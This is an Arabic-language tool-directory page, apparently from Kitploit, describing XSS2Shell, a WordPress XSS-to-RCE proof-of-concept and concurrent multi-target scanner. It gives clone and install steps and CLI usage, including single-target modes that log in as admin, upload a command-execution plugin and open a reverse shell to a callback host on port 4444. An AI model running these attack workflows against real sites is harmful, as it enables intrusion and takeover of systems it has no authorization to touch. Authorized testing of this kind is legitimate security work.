Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
XSS2Shell-CVE-2026-64638 — ماسح ضوئي مُصرَّح به لـ WordPress لتحويل XSS إلى RCE، مع كشف انعكاس XSS متزامن على أهداف متعددة وبصمة الإصدار، بالإضافة إلى سير عمل استغلال اختياري. | Kitploit
أدوات/GitHubGitHub/yogagymn/xss2shell-cve-2026-64638
الاستطلاعماسحات الثغرات الأمنية للويبالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراق
GitHubyogagymn/xss2shell-cve-2026-64638

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

XSS2Shell-CVE-2026-64638

ماسح ضوئي مُصرَّح به لـ WordPress لتحويل XSS إلى RCE، مع كشف انعكاس XSS متزامن على أهداف متعددة وبصمة الإصدار، بالإضافة إلى سير عمل استغلال اختياري.

عرض المستودع
133منذ 2 أشهرلم تتم المراجعة بعد

ماسح XSS2Shell متعدد الأهداف

المطوّر: YogaGymn

أداة PoC/فحص لاختبار أمان WordPress المصرّح به. يحتوي المشروع على سير عمل استغلال لهدف واحد ووضع فحص فقط متعدد الأهداف ومتزامن.

مهم: استخدم هذا المشروع فقط على installations WordPress التي تملكها أو لديك تصريح صريح باختبارها. ماسح الأهداف المتعددة محدود عمدًا بالبصمة واكتشاف انعكاس XSS؛ فهو لا ينفّذ التقاط بيانات الاعتماد، أو رفع الإضافات، أو RCE ضد قائمة أهداف.

الميزات

وضع الهدف الواحد

يدعم السكربت الأصلي:

  • بصمة إصدار WordPress.
  • اكتشاف انعكاس XSS.
  • أوضاع auto وxss وdirect.
  • سير عمل مصادقة WordPress المباشرة ورفع الإضافات.
  • وظيفة سلسلة XSS الموجودة في PoC الأصلي.
  • وظيفة callback/reverse-shell الاختيارية الموجودة في PoC الأصلي.

الوضع متعدد الأهداف

يدعم الماسح المضاف:

  • قراءة الأهداف من ملف نصي.
  • إزالة الأهداف المكررة.
  • الفحص المتزامن باستخدام ThreadPoolExecutor.
  • عدد عمّال قابل للتكوين.
  • اكتشاف إصدار WordPress.
  • اكتشاف انعكاس XSS.
  • الإبلاغ عن التقدم.
  • حفظ النتائج بنفس ترتيب ملف الإدخال.
  • إحصاءات ملخّصة.

الوضع متعدد الأهداف لا يستدعي دوال RCE الأصلية.

المتطلبات

  • Python 3.9+
  • requests

ثبّت الاعتمادية:

python3 -m pip install requests

إذا كانت توزيعة لينكس الخاصة بك تستخدم بيئة Python مُدارة خارجيًا، فاستخدم بيئة افتراضية:

python3 -m venv .venv
source .venv/bin/activate
pip install requests

التثبيت

استنسخ المشروع أو انسخه:

git clone https://github.com/yogaGymn/XSS2Shell-CVE-2026-64638
cd XSS2Shell-CVE-2026-64638

أو ببساطة ضع:

xss2shell.py

في دليل العمل الخاص بك.

ماسح متعدد الأهداف

أنشئ ملفًا باسم targets.txt:

https://example1.test
https://example2.test
https://example3.test

تُتجاهل التعليقات والأسطر الفارغة:

# Authorized lab targets
https://example1.test

https://example2.test

شغّل الماسح الضوئي:

python3 xss2shell.py -i targets.txt

التزامن الافتراضي هو 10 عمال.

تغيير التزامن

على سبيل المثال، استخدم 20 عاملاً:

python3 xss2shell.py -i targets.txt --workers 20

لمختبر صغير:

python3 xss2shell.py -i targets.txt --workers 5

لا تختر عددًا مرتفعًا من العمال دون داعٍ لأنه قد يزيد من حمل الاتصالات وقد يؤدي إلى تفعيل تحديد المعدل أو الضوابط الدفاعية.

تغيير ملف الإخراج

python3 xss2shell.py \
  -i targets.txt \
  --workers 10 \
  --output results.txt

مثال على المخرجات

[*] Multiple-target scan: 3 target(s)
[*] Concurrent workers: 10
[*] Scan-only: WordPress fingerprint + XSS reflection check
[*] No login, plugin upload, credential capture, or RCE

[1/3] https://example1.test | WP=6.8.2 | XSS=XSS_NOT_DETECTED (ESCAPED)
[2/3] https://example2.test | WP=6.7.1 | XSS=XSS_REFLECTION_DETECTED (AREA_BYPASS)
[3/3] https://example3.test | WP=unknown | XSS=XSS_NOT_DETECTED (NOT_REFLECTED)

=======================================================
MULTIPLE-TARGET SCAN COMPLETE
=======================================================
Total targets : 3
XSS detected  : 1
Not detected  : 2
Errors        : 0
Results saved : scan_results.txt

تنسيق النتائج

يستخدم ملف scan_results.txt الافتراضي حقولًا مفصولة بعلامات الجدولة:

TARGET  WORDPRESS_VERSION  XSS_STATUS  XSS_DETAIL

مثال:

https://example1.test    6.8.2    XSS_NOT_DETECTED          ESCAPED
https://example2.test    6.7.1    XSS_REFLECTION_DETECTED   AREA_BYPASS

قيم حالة XSS


الحالة المعنى


XSS_REFLECTION_DETECTED اكتشف الماسح سلوك انعكاس HTML الذي تم اختباره. هذا ليس بحد ذاته دليلًا على RCE.

XSS_NOT_DETECTED لم يتم اكتشاف الانعكاس الذي تم اختباره.

ERROR واجه الفحص استثناءً.

قيم تفاصيل XSS

يمكن للماسح الإبلاغ عن تفاصيل مثل:

  • RAW_HTML
  • AREA_BYPASS
  • ESCAPED
  • STRIPPED
  • NOT_REFLECTED

تصف هذه القيم الاستجابة التي رصدتها روتين الكشف؛ ينبغي التحقق منها يدويًا قبل اعتبار النتيجة ثغرة مؤكدة.

الاستخدام على هدف واحد

يدعم السكربت الأصلي أيضًا وسائط الهدف الواحد.

الوضع التلقائي

python3 xss2shell.py \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

الوضع المباشر

python3 xss2shell.py \
  --mode direct \
  -u admin \
  -p 'PASSWORD' \
  http://authorized-target.test

وضع XSS

python3 xss2shell.py \
  --mode xss \
  --lhost 192.0.2.10 \
  http://authorized-lab.test

يمكن لسير عمل XSS/المباشر إنشاء أو تنشيط إضافة تحتوي على وظيفة تنفيذ الأوامر. استخدمها فقط داخل بيئة اختبار مصرح بها.

مرجع CLI

usage: xss2shell.py [-h]
       [-i TARGET_FILE] [--output OUTPUT] [--workers WORKERS]
       [--mode {auto,xss,direct}]
       [-u USERNAME] [-p PASSWORD]
       [--lhost LHOST] [--lport LPORT]
       [--slug SLUG] [--callback-port CALLBACK_PORT]
       [--no-rev]
       [target]

الوسائط


الوسيطة الوصف


target عنوان URL واحد مستهدف.

-i، --input ملف يحتوي على عدة أهداف.

--output ملف الإخراج لنتائج الأهداف المتعددة. الافتراضي: scan_results.txt.

--workers عدد العمال المتزامنين. الافتراضي: 10.

--mode وضع الهدف الواحد الأصلي: auto أو xss أو direct.

-u، --username اسم مستخدم WordPress لسير العمل الأصلي المباشر/الاحتياطي.

-p، --password كلمة مرور WordPress لسير العمل الأصلي المباشر/الاحتياطي.

--lhost مضيف الاستدعاء/الصدفة العكسية لنموذج الإثبات الأصلي.

--lport منفذ الصدفة العكسية. الافتراضي: 4444.

--slug معرف الإضافة (slug). الافتراضي: xss2shell.

--callback-port منفذ خادم الاستدعاء. الافتراضي: 9090.

--no-rev تخطي تفعيل الصدفة العكسية في سير العمل الأصلي.

كيف يعمل الفحص المتزامن

يستخدم وضع الأهداف المتعددة وحدة Python:

ThreadPoolExecutor

يُقدَّم كل هدف كمهمة فحص مستقلة:

targets.txt
     |
     v
+----+----+----+----+
| T1 | T2 | T3 | T4 | ... 
+----+----+----+----+
  |    |    |    |
  v    v    v    v
 WP   WP   WP   WP
 XSS  XSS  XSS  XSS
  |    |    |    |
  +----+----+----+
        |
        v
   scan_results.txt

تُجمع النتائج عند انتهاء العمال، بينما يُكتب المخرجات النهائية وفقًا لترتيب الأهداف الأصلي.

النطاق والسلامة

صُمم وضع الأهداف المتعددة لتقييمات الأمن المصرح بها وبيئات المختبر.

سير العمل الموصى به:

  1. الحصول على تصريح كتابي.
  2. إدراج النطاقات/عناوين IP المصرح بها فقط في targets.txt.
  3. البدء بعدد عمال منخفض.
  4. مراجعة مخرجات الماسح.
  5. التحقق يدويًا من النتائج المثيرة للاهتمام.
  6. توثيق الأدلة والمعالجة.

لا تستخدم الماسح ضد أنظمة طرف ثالث دون إذن.

القيود

الماسح ليس أداة تقييم ثغرات كاملة.

على وجه الخصوص:

تنزيل الأداة